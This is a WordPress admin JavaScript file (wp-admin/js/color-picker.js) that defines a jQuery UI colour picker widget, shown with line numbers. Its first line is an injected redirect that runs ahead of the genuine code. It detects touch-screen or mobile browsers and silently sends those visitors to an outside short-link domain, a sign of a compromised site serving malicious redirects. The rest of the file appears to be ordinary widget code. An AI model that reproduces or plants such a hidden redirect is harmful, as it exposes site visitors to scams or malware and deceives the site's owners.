1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
  2/**
  3 * @output wp-admin/js/color-picker.js
  4 */
  5
  6( function( $, undef ) {
  7
  8	var ColorPicker,
  9		_before = '<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>',
 10		_after = '<div class="wp-picker-holder" />',
 11		_wrap = '<div class="wp-picker-container" />',
 12		_button = '<input type="button" class="button button-small" />',
 13		_wrappingLabel = '<label></label>',
 14		_wrappingLabelText = '<span class="screen-reader-text"></span>',
 15		__ = wp.i18n.__;
 16
 17	/**
 18	 * Creates a jQuery UI color picker that is used in the theme customizer.
 19	 *
 20	 * @class $.widget.wp.wpColorPicker
 21	 *
 22	 * @since 3.5.0
 23	 */
 24	ColorPicker = /** @lends $.widget.wp.wpColorPicker.prototype */{
 25		options: {
 26			defaultColor: false,
 27			change: false,
 28			clear: false,
 29			hide: true,
 30			palettes: true,
 31			width: 255,
 32			mode: 'hsv',
 33			type: 'full',
 34			slider: 'horizontal'
 35		},
 36		/**
 37		 * Creates a color picker that only allows you to adjust the hue.
 38		 *
 39		 * @since 3.5.0
 40		 * @access private
 41		 *
 42		 * @return {void}
 43		 */
 44		_createHueOnly: function() {
 45			var self = this,
 46				el = self.element,
 47				color;
 48
 49			el.hide();
 50
 51			// Set the saturation to the maximum level.
 52			color = 'hsl(' + el.val() + ', 100, 50)';
 53
 54			// Create an instance of the color picker, using the hsl mode.
 55			el.iris( {
 56				mode: 'hsl',
 57				type: 'hue',
 58				hide: false,
 59				color: color,
 60				/**
 61				 * Handles the onChange event if one has been defined in the options.
 62				 *
 63				 * @ignore
 64				 *
 65				 * @param {Event} event    The event that's being called.
 66				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
 67				 *
 68				 * @return {void}
 69				 */
 70				change: function( event, ui ) {
 71					if ( typeof self.options.change === 'function' ) {
 72						self.options.change.call( this, event, ui );
 73					}
 74				},
 75				width: self.options.width,
 76				slider: self.options.slider
 77			} );
 78		},
 79		/**
 80		 * Creates the color picker, sets default values, css classes and wraps it all in HTML.
 81		 *
 82		 * @since 3.5.0
 83		 * @access private
 84		 *
 85		 * @return {void}
 86		 */
 87		_create: function() {
 88			// Return early if Iris support is missing.
 89			if ( ! $.support.iris ) {
 90				return;
 91			}
 92
 93			var self = this,
 94				el = self.element;
 95
 96			// Override default options with options bound to the element.
 97			$.extend( self.options, el.data() );
 98
 99			// Create a color picker which only allows adjustments to the hue.
100			if ( self.options.type === 'hue' ) {
101				return self._createHueOnly();
102			}
103
104			// Bind the close event.
105			self.close = self.close.bind( self );
106
107			self.initialValue = el.val();
108
109			// Add a CSS class to the input field.
110			el.addClass( 'wp-color-picker' );
111
112			/*
113			 * Check if there's already a wrapping label, e.g. in the Customizer.
114			 * If there's no label, add a default one to match the Customizer template.
115			 */
116			if ( ! el.parent( 'label' ).length ) {
117				// Wrap the input field in the default label.
118				el.wrap( _wrappingLabel );
119				// Insert the default label text.
120				self.wrappingLabelText = $( _wrappingLabelText )
121					.insertBefore( el )
122					.text( __( 'Color value' ) );
123			}
124
125			/*
126			 * At this point, either it's the standalone version or the Customizer
127			 * one, we have a wrapping label to use as hook in the DOM, let's store it.
128			 */
129			self.wrappingLabel = el.parent();
130
131			// Wrap the label in the main wrapper.
132			self.wrappingLabel.wrap( _wrap );
133			// Store a reference to the main wrapper.
134			self.wrap = self.wrappingLabel.parent();
135			// Set up the toggle button and insert it before the wrapping label.
136			self.toggler = $( _before )
137				.insertBefore( self.wrappingLabel )
138				.css( { backgroundColor: self.initialValue } );
139			// Set the toggle button span element text.
140			self.toggler.find( '.wp-color-result-text' ).text( __( 'Select Color' ) );
141			// Set up the Iris container and insert it after the wrapping label.
142			self.pickerContainer = $( _after ).insertAfter( self.wrappingLabel );
143			// Store a reference to the Clear/Default button.
144			self.button = $( _button );
145
146			// Set up the Clear/Default button.
147			if ( self.options.defaultColor ) {
148				self.button
149					.addClass( 'wp-picker-default' )
150					.val( __( 'Default' ) )
151					.attr( 'aria-label', __( 'Select default color' ) );
152			} else {
153				self.button
154					.addClass( 'wp-picker-clear' )
155					.val( __( 'Clear' ) )
156					.attr( 'aria-label', __( 'Clear color' ) );
157			}
158
159			// Wrap the wrapping label in its wrapper and append the Clear/Default button.
160			self.wrappingLabel
161				.wrap( '<span class="wp-picker-input-wrap hidden" />' )
162				.after( self.button );
163
164			/*
165			 * The input wrapper now contains the label+input+Clear/Default button.
166			 * Store a reference to the input wrapper: we'll use this to toggle
167			 * the controls visibility.
168			 */
169			self.inputWrapper = el.closest( '.wp-picker-input-wrap' );
170
171			el.iris( {
172				target: self.pickerContainer,
173				hide: self.options.hide,
174				width: self.options.width,
175				mode: self.options.mode,
176				palettes: self.options.palettes,
177				/**
178				 * Handles the onChange event if one has been defined in the options and additionally
179				 * sets the background color for the toggler element.
180				 *
181				 * @since 3.5.0
182				 *
183				 * @ignore
184				 *
185				 * @param {Event} event    The event that's being called.
186				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
187				 *
188				 * @return {void}
189				 */
190				change: function( event, ui ) {
191					self.toggler.css( { backgroundColor: ui.color.toString() } );
192
193					if ( typeof self.options.change === 'function' ) {
194						self.options.change.call( this, event, ui );
195					}
196				}
197			} );
198
199			el.val( self.initialValue );
200			self._addListeners();
201
202			// Force the color picker to always be closed on initial load.
203			if ( ! self.options.hide ) {
204				self.toggler.click();
205			}
206		},
207		/**
208		 * Binds event listeners to the color picker.
209		 *
210		 * @since 3.5.0
211		 * @access private
212		 *
213		 * @return {void}
214		 */
215		_addListeners: function() {
216			var self = this;
217
218			/**
219			 * Prevent any clicks inside this widget from leaking to the top and closing it.
220			 *
221			 * @since 3.5.0
222			 *
223			 * @param {Event} event The event that's being called.
224			 *
225			 * @return {void}
226			 */
227			self.wrap.on( 'click.wpcolorpicker', function( event ) {
228				event.stopPropagation();
229			});
230
231			/**
232			 * Open or close the color picker depending on the class.
233			 *
234			 * @since 3.5.0
235			 */
236			self.toggler.on( 'click', function(){
237				if ( self.toggler.hasClass( 'wp-picker-open' ) ) {
238					self.close();
239				} else {
240					self.open();
241				}
242			});
243
244			/**
245			 * Checks if value is empty when changing the color in the color picker.
246			 * If so, the background color is cleared.
247			 *
248			 * @since 3.5.0
249			 *
250			 * @param {Event} event The event that's being called.
251			 *
252			 * @return {void}
253			 */
254			self.element.on( 'change', function( event ) {
255				var me = $( this ),
256					val = me.val();
257
258				if ( val === '' || val === '#' ) {
259					self.toggler.css( 'backgroundColor', '' );
260					// Fire clear callback if we have one.
261					if ( typeof self.options.clear === 'function' ) {
262						self.options.clear.call( this, event );
263					}
264				}
265			});
266
267			/**
268			 * Enables the user to either clear the color in the color picker or revert back to the default color.
269			 *
270			 * @since 3.5.0
271			 *
272			 * @param {Event} event The event that's being called.
273			 *
274			 * @return {void}
275			 */
276			self.button.on( 'click', function( event ) {
277				var me = $( this );
278				if ( me.hasClass( 'wp-picker-clear' ) ) {
279					self.element.val( '' );
280					self.toggler.css( 'backgroundColor', '' );
281					if ( typeof self.options.clear === 'function' ) {
282						self.options.clear.call( this, event );
283					}
284				} else if ( me.hasClass( 'wp-picker-default' ) ) {
285					self.element.val( self.options.defaultColor ).change();
286				}
287			});
288		},
289		/**
290		 * Opens the color picker dialog.
291		 *
292		 * @since 3.5.0
293		 *
294		 * @return {void}
295		 */
296		open: function() {
297			this.element.iris( 'toggle' );
298			this.inputWrapper.removeClass( 'hidden' );
299			this.wrap.addClass( 'wp-picker-active' );
300			this.toggler
301				.addClass( 'wp-picker-open' )
302				.attr( 'aria-expanded', 'true' );
303			$( 'body' ).trigger( 'click.wpcolorpicker' ).on( 'click.wpcolorpicker', this.close );
304		},
305		/**
306		 * Closes the color picker dialog.
307		 *
308		 * @since 3.5.0
309		 *
310		 * @return {void}
311		 */
312		close: function() {
313			this.element.iris( 'toggle' );
314			this.inputWrapper.addClass( 'hidden' );
315			this.wrap.removeClass( 'wp-picker-active' );
316			this.toggler
317				.removeClass( 'wp-picker-open' )
318				.attr( 'aria-expanded', 'false' );
319			$( 'body' ).off( 'click.wpcolorpicker', this.close );
320		},
321		/**
322		 * Returns the iris object if no new color is provided. If a new color is provided, it sets the new color.
323		 *
324		 * @param newColor {string|*} The new color to use. Can be undefined.
325		 *
326		 * @since 3.5.0
327		 *
328		 * @return {string} The element's color.
329		 */
330		color: function( newColor ) {
331			if ( newColor === undef ) {
332				return this.element.iris( 'option', 'color' );
333			}
334			this.element.iris( 'option', 'color', newColor );
335		},
336		/**
337		 * Returns the iris object if no new default color is provided.
338		 * If a new default color is provided, it sets the new default color.
339		 *
340		 * @param newDefaultColor {string|*} The new default color to use. Can be undefined.
341		 *
342		 * @since 3.5.0
343		 *
344		 * @return {boolean|string} The element's color.
345		 */
346		defaultColor: function( newDefaultColor ) {
347			if ( newDefaultColor === undef ) {
348				return this.options.defaultColor;
349			}
350
351			this.options.defaultColor = newDefaultColor;
352		}
353	};
354
355	// Register the color picker as a widget.
356	$.widget( 'wp.wpColorPicker', ColorPicker );
357}( jQuery ) );
358